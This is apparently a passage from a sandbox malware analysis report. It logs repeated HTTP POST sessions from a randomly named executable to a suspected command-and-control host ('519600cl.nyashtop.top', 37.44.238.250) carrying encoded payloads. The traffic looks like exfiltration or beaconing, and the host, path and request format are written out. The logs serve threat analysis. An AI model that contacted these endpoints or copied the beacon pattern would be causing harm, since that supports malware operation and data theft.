                                                                  Jan 13, 2025 13:11:26.062011957 CET4944OUTData Raw: 5a 30 52 72 56 6b 56 31 61 7a 4a 54 52 57 74 52 61 6b 70 48 53 32 56 4a 65 54 4a 57 56 33 4d 31 63 56 5a 72 4e 32 59 78 4f 44 64 4d 4e 32 6c 4e 53 6d 30 34 53 30 5a 43 56 54 4e 48 4e 31 59 76 4b 30 49 35 4d 54 4a 61 4d 6d 39 58 54 33 46 68 57 44
                                                                  Data Ascii: Z0RrVkV1azJTRWtRakpHS2VJeTJWV3M1cVZrN2YxODdMN2lNSm04S0ZCVTNHN1YvK0I5MTJaMm9XT3FhWDRjMU8yMUtDNHRacnJVWWhickl1REtxTEtYWmY3eWpjdnpESTVITlM2a2wvYnBxbDl0bVMyYnc5WTIwTTdyaU5wejluSVFFOEZzQWtqMHlUeFZxSFNMT0I5NlI4KzlNYlFyQm5MR0xrOWVheGVVMUhHM05yL3dMSFJ
                                                                  Jan 13, 2025 13:11:26.062026024 CET2472OUTData Raw: 56 33 56 4d 5a 47 39 61 56 54 4e 76 64 33 68 73 56 48 6c 51 63 46 67 31 62 69 39 42 53 7a 4d 30 61 55 64 4e 59 6d 34 76 52 47 4e 73 63 44 46 56 56 6a 42 59 62 53 74 79 55 44 46 50 64 48 64 59 61 46 6c 5a 59 55 35 50 4c 7a 64 34 55 6d 56 32 55 6e
                                                                  Data Ascii: V3VMZG9aVTNvd3hsVHlQcFg1bi9BSzM0aUdNYm4vRGNscDFVVjBYbStyUDFPdHdYaFlZYU5PLzd4UmV2UnlkdGZSZEVaM2hmeUYxTnBwblFHTmZrREVEay93Q1RYZnJLcng5aUNLOHQxTFJKOU9RU056Q3gycXg0T2ZwVzU0UW4zYjRJN3lUY2d5MXZLTWpIOTVEMjl4NzFyeExnWVkrazgyb1ZlYU5rcldlbHZQcHIzWFU2OHZ
                                                                  Jan 13, 2025 13:11:26.062042952 CET2472OUTData Raw: 56 6a 56 68 64 7a 4a 7a 59 30 78 69 51 6b 6c 77 4d 33 6c 6e 59 32 74 6e 4f 55 49 32 5a 47 6f 72 54 6b 39 6e 4f 45 6f 72 53 54 52 34 63 32 5a 54 4e 58 70 30 54 30 45 7a 53 45 6b 76 54 33 46 4f 4f 57 4a 4e 63 47 74 7a 59 6a 5a 4a 63 54 5a 49 62 47
                                                                  Data Ascii: VjVhdzJzY0xiQklwM3lnY2tnOUI2ZGorTk9nOEorSTR4c2ZTNXp0T0EzSEkvT3FOOWJNcGtzYjZJcTZIbGMvTWpmNDErWVVzTlN3MkxqVnJ3NW9wK3Evd0FuM1A2RXhTcFk2aTFocHB5dGZmWDU5VVY1TlRsdWdHbm5lVWdjRjJKeFUvaDI2WWVKYllvZmxBZmY5TnAvcmlzbit5WncyRXVFS2VweURXeHBOdEhweFp0KzZWeGh
                                                                  Jan 13, 2025 13:11:27.287240982 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:27 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  33192.168.2.44985037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:25.303147078 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:25.658528090 CET2580OUTData Raw: 5a 5b 5b 57 51 45 51 50 5a 5d 56 56 52 5e 50 5c 50 59 55 5c 57 54 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[[WQEQPZ]VVR^P\PYU\WTZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#[,*6=$3,=0(V$,)\ V$1&_):$X0 ^(.'F!.\*9
                                                                  Jan 13, 2025 13:11:25.932030916 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:26.061475992 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:25 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  34192.168.2.44985637.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:26.481288910 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:26.829772949 CET2580OUTData Raw: 5f 5a 5b 53 51 42 54 51 5a 5d 56 56 52 59 50 5c 50 5d 55 5f 57 52 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Z[SQBTQZ]VVRYP\P]U_WRZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z8U961 #=9+%+5'.)*?$2%)90&1(.'F!.\*%
                                                                  Jan 13, 2025 13:11:27.200073004 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:27.251636982 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:27 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  35192.168.2.44986337.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:27.725824118 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:28.079665899 CET2580OUTData Raw: 5f 58 5e 51 54 43 54 5d 5a 5d 56 56 52 50 50 53 50 51 55 59 57 53 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _X^QTCT]Z]VVRPPSPQUYWSZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,#52*^%34*,0(T%>W*\8019?'(>'F!.\*
                                                                  Jan 13, 2025 13:11:28.437613010 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:28.661711931 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:28 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  36192.168.2.44986837.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:29.424000025 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:29.782860994 CET2580OUTData Raw: 5f 59 5b 50 51 43 51 54 5a 5d 56 56 52 5b 50 52 50 51 55 5b 57 52 5a 5d 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Y[PQCQTZ]VVR[PRPQU[WRZ]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,> "5&+A*+\38>T%=#)\?'2*Y+_830+'F!.\*-
                                                                  Jan 13, 2025 13:11:30.057746887 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:30.235805988 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:30 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  37192.168.2.44987737.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:30.398783922 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1980
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:30.751549959 CET1980OUTData Raw: 5f 5f 5b 50 54 43 54 54 5a 5d 56 56 52 5a 50 58 50 50 55 5b 57 54 5a 5c 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: __[PTCTTZ]VVRZPXPPU[WTZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#_,6">$ ?**?$^"0;(*+$"X?_8_$!+'F!.\*)
                                                                  Jan 13, 2025 13:11:31.055603027 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:31.225219965 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:31 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 10 29 35 3e 55 30 5f 30 1e 2c 2f 3a 5f 2d 02 3f 5f 2b 31 27 06 3e 5c 29 5d 2c 2d 3c 11 2b 2b 2f 00 29 22 28 55 24 26 09 08 29 03 2b 51 07 11 39 16 26 3d 31 00 3c 33 3e 5e 26 32 2a 0a 21 20 3f 06 3c 29 3e 52 30 38 01 0b 3c 38 3d 59 28 33 31 02 32 07 00 1a 3c 02 25 03 28 17 2f 5e 08 12 25 50 3d 0f 29 1c 26 30 20 00 20 2f 24 5f 28 2f 3d 16 35 3f 2d 0a 2a 39 2d 59 27 00 18 00 33 2d 31 00 32 22 0e 53 31 54 36 03 27 03 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !)5>U0_0,/:_-?_+1'>\)],-<++/)"(U$&)+Q9&=1<3>^&2*! ?<)>R08<8=Y(312<%(/^%P=)&0 /$_(/=5?-*9-Y'3-12"S1T6'$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  38192.168.2.44987837.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:30.409085035 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:30.767280102 CET2580OUTData Raw: 5f 59 5e 52 51 42 54 52 5a 5d 56 56 52 50 50 5d 50 5b 55 5a 57 55 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Y^RQBTRZ]VVRPP]P[UZWUZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^;3] 2&^%<* 3S'.?>'1+9$1$^<>'F!.\*
                                                                  Jan 13, 2025 13:11:31.038177013 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:31.165657043 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:30 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  39192.168.2.44988437.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:31.405181885 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:31.751589060 CET2580OUTData Raw: 5f 58 5b 56 54 40 54 51 5a 5d 56 56 52 50 50 5d 50 5e 55 5b 57 55 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _X[VT@TQZ]VVRPP]P^U[WUZ[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^8U>!"9%0#)/$"S0$R*R'12^(9,Y'!'('F!.\*
                                                                  Jan 13, 2025 13:11:32.062371016 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:33.168910980 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:31 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:33.168946028 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:31 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:33.169203997 CET183INHTTP/1.1 100 Continue
                                                                  Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 31 32 3a 31 31 3a 33 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 3e 5d 58 5a
                                                                  Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 13 Jan 2025 12:11:31 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive>]XZ
                                                                  Jan 13, 2025 13:11:33.169485092 CET183INHTTP/1.1 100 Continue
                                                                  Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 31 32 3a 31 31 3a 33 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 3e 5d 58 5a
                                                                  Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 13 Jan 2025 12:11:31 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive>]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  40192.168.2.44989137.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:33.472606897 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:33.829989910 CET2580OUTData Raw: 5a 5e 5b 53 54 48 54 51 5a 5d 56 56 52 59 50 52 50 51 55 55 57 52 5a 59 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^[STHTQZ]VVRYPRPQUUWRZYT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#_/=!""Y$#7B),%853$R(:(S0)</'+>'F!.\*%
                                                                  Jan 13, 2025 13:11:34.120287895 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:34.293597937 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:34 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  41192.168.2.44989637.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:34.493823051 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:34.845320940 CET2580OUTData Raw: 5a 5b 5e 55 54 41 51 50 5a 5d 56 56 52 50 50 5e 50 59 55 5b 57 52 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[^UTAQPZ]VVRPP^PYU[WRZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ 809Z"T"_&()/\3%.)<3"-+$$8('F!.\*
                                                                  Jan 13, 2025 13:11:35.327754021 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:35.328110933 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:35 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:35.328130007 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:35 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  42192.168.2.44990037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:35.692337990 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:36.048456907 CET2580OUTData Raw: 5a 5a 5e 55 51 45 54 57 5a 5d 56 56 52 50 50 5f 50 50 55 5f 57 52 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZZ^UQETWZ]VVRPP_PPU_WRZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#]8%Z6\&4)008*S0>7**#$2+[$8?'F!.\*
                                                                  Jan 13, 2025 13:11:36.347989082 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:36.643170118 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:36 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:36.643205881 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:36 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  43192.168.2.44990537.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:36.245058060 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2000
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:36.595364094 CET2000OUTData Raw: 5f 58 5e 53 54 44 54 5c 5a 5d 56 56 52 5b 50 53 50 5b 55 5f 57 56 5a 5d 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _X^STDT\Z]VVR[PSP[U_WVZ]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#; !]!%1;=\#_$08U)9<V0"[<)0_$0).'F!.\*-
                                                                  Jan 13, 2025 13:11:36.873677015 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:37.001609087 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:36 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
